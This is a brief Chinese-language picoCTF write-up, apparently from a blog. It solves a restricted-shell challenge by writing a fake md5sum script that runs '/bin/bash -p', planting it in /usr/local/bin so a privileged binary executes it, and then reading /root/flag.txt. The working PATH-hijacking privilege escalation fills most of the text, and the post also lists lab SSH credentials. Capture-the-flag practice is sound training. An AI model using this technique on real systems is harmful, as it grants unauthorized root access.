連線題目
ssh ctf-player@rescued-float.picoctf.net -p 58909
3f39b042

解題
解題思路
接上一題,我們這次在rbash的環境執行,我們要繞過他的保護機制製作假的md5sum,並更改PATH或放入到PATH中,使程式執行我們製作的偽造指令
尋找題目提到的二進位檔案
ls
which flaghasher

繞過rbash的防護製作假的md5sum
echo '#!/bin/bash' |tee md5sum
echo '/bin/bash -p' |tee -a md5sum
cat md5sum
chmod +x md5sum

將檔案放到環境變數路徑的資料夾
mv md5sum /usr/local/bin

執行程式取得flag
flaghasher
cat /root/flag.txt

flag



說些什麼吧!